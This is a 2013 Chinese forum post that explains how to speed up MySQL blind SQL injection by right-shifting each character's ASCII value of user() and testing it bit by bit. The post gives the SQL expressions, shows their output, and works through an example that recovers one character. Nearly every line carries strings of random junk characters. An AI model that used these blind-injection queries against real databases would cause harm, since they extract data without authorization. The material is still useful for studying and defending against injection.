找回密码
 立即注册
查看: 2411|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位. r# F. g* p- C

+ e, d9 n: g, M. o0 \; B
5 s1 Q. p5 v$ @' L/ m0 a+ a9 Z: G$ F$ r* u" o
下面将以查询mysql数据库当中user()的第一位为例:0 E1 E$ a) A+ B& e! `2 C4 M

, T  I2 a& ], Q  ~/ h4 J7 w ; b) [5 g; k& ~( n+ }' ~4 j% k

% _+ B1 p+ n$ i3 B% f9 yps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
1 t# V0 s4 S. K; a% B3 H
8 Z: k! s# _- g 4 Z' _7 u$ _6 V* \7 w! ]: k
, R1 [, e: j+ _# [- l" i7 ~
首先执行如下sql语句:
. s- r, ]* ?* \+ T% e$ i
4 D; y+ ?$ t4 o $ t% y$ o* W/ d; f$ p. M
- K9 u- o9 I' u  E6 I" _- K% O) a3 O
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;9 F  B$ f: `; j& a" [+ c- B$ t5 w
4 Q/ Q7 }- E4 Z* j. \' h
! m/ C+ r+ Y4 t( j& k. }- Y
% v9 J6 g) ?- Z0 q& @
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的6 G3 z# q0 d4 M
; w: S& h$ c1 d. K3 f+ }

- n( j! E) W. V4 A
# Q3 @) x4 q+ }2 o% w第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
' R1 m4 N- z; a1 h/ ]& C9 A0 q1 \0 C1 h( z

5 D& ]) s! l9 `( m3 c" a! n/ h( H# d9 y2 P
如果运算结果为1,说明第一位为0,不为1
/ e7 i7 T% N4 [$ w4 ~
0 L# H# m' u7 A6 y
& {7 [0 W& m3 j, I# W! e
* V/ ^4 e, X" q0 B5 i- h+————————————–+
$ Z' Y8 K& h3 x! g. U; q- B, h: _  v( n
| (ascii((substr(user(),1,1))) >> 7)=0 |
. q( B9 s- P6 k6 H, Y1 N4 R! d5 |
; A; S& I- r6 X" b& G0 c+————————————–+
# W) b( K' _$ p# [" }$ D' o
* F* r8 ~- t$ _$ z| 1 |
9 i  F: C" {9 }. s5 C! [. U* m1 v7 {8 k/ z4 V: i2 b! O
+————————————–+
% K3 W& e* q2 s% W! i
6 k6 u- M: ]! c: o0 b1 row in set (0.00 sec)
" a; `$ {$ _. Y, e1 N, [" q4 K# z" V
这样我们就确定这个8bit的ascii的第一位为03 c: U8 P; ]' z1 ^3 u

, [7 z  }- y9 K+ T% l; o( G ) f3 P" [$ m  u& j
2 L( A  ?; E- e: @' R. E0 Q
第二次我们来做6次右偏移来确定前两位
* u% b$ c3 Q' E7 @( k; [) ]/ |, x2 B8 i- K1 R# P9 B

, \0 K. z+ x7 |$ c0 F! h4 j
2 o; e" j' T) t8 J2 ~+ e$ r前两位可能是01或00,即依然可以与0做比较,5 {; H  s' G" g; }# D
: {5 p% X" t8 [4 }2 o) F
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
0 {; j" R6 _9 r& a5 k, n: W% O: X! ?" i) O3 e
+————————————–+
$ h3 K; }/ t& {+ K6 ?
  ]( k$ J( ^( T) q1 e& n| (ascii((substr(user(),1,1))) >> 6)=0 |4 [% c6 Y2 y% M: X! h% c% d& U
( l$ |' v6 a% ]& R& E  M
+————————————–+
$ c7 K% N& J- P# N4 X
5 p, U; k& _5 F* Q) I) @| 0 |+ t9 i6 a) j' e: |

* k, U: k3 U2 B# f# T9 K+————————————–+
2 t+ a1 V- C9 d+ }& P, T# G$ ^
. R- j: F/ j  \( I, ^' m+ J! G1 row in set (0.00 sec)
; _! I1 o; z! }6 V5 z
- x$ V+ f7 ]. {' ?/ V. ]
) O" Y# o& t8 Z4 r
, H% W8 E; e0 f% p" F+ Y结果为0,即第二位为1" Z& X- Y) `/ B; |# g& V& r
9 o6 N$ [" I) x1 C. R5 H7 o

; S$ _! j  o8 S. V5 v( |8 Q: _& `- I5 X: E8 F
开始猜测前三位为010或011
  m: k+ e0 i0 O  j
; ~2 T% \7 n1 S. O. A/ P" n" Q % f4 |& T1 K' [7 z3 o1 S
- s/ P8 m4 K0 m! i, F2 i  ^2 `4 ]
让我们看看010和011的ascii码是多少- j( Y3 |$ J- O$ J& i8 [! Z" R0 R
& d3 ~- D4 b2 [: m5 B" s

2 p" v* a/ u# A! Z+ `& z" g% i" i5 B( l- A1 B
分别查询select b’011′ select b’010′& q$ I8 _7 `( Z" `8 J6 X3 _

- W4 G  f' _, ^$ E8 o! T' H: F: ` ! T( T0 d% d; X. I5 F- ~

6 Q, r1 ?. U, H4 k获得结果 010 = 2 011 = 3
" `! L, W. F% m  u
! h4 _# }- A: N2 n  t7 m
! \* a! o# ^) n* v: H$ n/ c' D0 E3 h1 E  x/ o# }" A* z
执行如下sql:) F/ m+ W: V1 ~3 j" v
* a  e# R* t! f- z$ {, |! i$ O- Q8 `
  h$ s  @' A) d( B: r% l

. ^+ o# C9 q$ K2 L% d* [mysql> select (ascii((substr(user(),1,1))) >> 5)=2;7 B  ^2 M) u. u
, G: i+ p5 C1 U* ?3 B+ V: W
+————————————–+3 m- `' b; \9 h4 k

, `3 B7 m; k3 ]" N| (ascii((substr(user(),1,1))) >> 5)=2 |
$ e# E- v4 h& S2 r$ F- E) E# a# L; l  k, |) b! C
+————————————–+
8 a- T! o( N0 x/ E2 X
9 R) i# J( P% X$ T% {| 0 |
+ R6 A  R/ @$ f6 J5 \" o/ [" o5 {
3 P8 G: t; n5 {. r+————————————–+
# ?2 a' ^" n: D, S1 T: T/ B. B% F4 ?' _) A) {+ k+ e9 L7 K' o2 m  `
即前三位不为010,而是011
# J2 w( {) B4 p! j0 G0 @6 g' g  {8 s, i: k4 p

$ c" f+ R) s5 ~4 z$ Z! C! B8 {. a' K! r9 L* ~. b9 b
直到获得最后一位& S! ]6 G/ X+ A2 u  ]* Z

2 U$ x& M3 J: ~ : `6 i* T) I& ~6 k: d  F7 g

! ]/ b' A: L4 [0 j$ O+ U. O最终结果为:011100104 ]3 u" l; e1 [1 h* `

) I' P/ H! [  z+ E0 H. X( V
3 P( w4 B. _  ]  X
  n2 H8 G  ~% S转换一下:
  B  I) E. y! d9 j/ g, q7 B2 g! }

3 m: m/ S  ~( Z8 ]# I* _( N/ ]4 V4 R" c+ }
select b’01110010′
+ {* C$ e2 ~  X
9 Z+ o  j5 M) d( n$ c9 r
& ~& Q/ [( T8 J
$ `/ o) a9 k) ?/ X; @, r+ w3 L6 D查询结果
/ q8 u& M' D7 A, z9 c4 J7 @: I9 c7 I% f3 L+ z, {" ~$ |

+ A2 Z; N! ~; w1 u/ l1 b* q) c4 e# R% c, G( ?  y
+————-+
* K: E  |0 s5 i7 Y# ~
8 g( @; i+ C$ t2 a- `& ]  h| b’01110010′ |
7 c  K0 Q4 i4 ~( D2 T5 S; Y2 ^% y
6 p9 q2 e: S" a+————-+
6 Y& ]6 u- U' D6 X5 r7 Y
; X3 j4 \" n) U| r |5 x% W  e6 I  Q/ ~" I

; X9 l# @8 @6 ~, L+————-+
% r( O* e9 p/ N
* G7 ?( v; k2 B% b, _1 row in set (0.00 sec)
5 p8 c+ T/ _! a1 A
1 U2 @$ P2 t  q  }8 a. n2 E3 v + a. b& G% \- z- s4 k0 n

$ B' O# _9 b4 o这样我们就获得了user()的第一位.其它位依此类推4 U8 z, q8 S9 e+ e4 s( Z

5 z7 L5 c8 ~/ o  `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表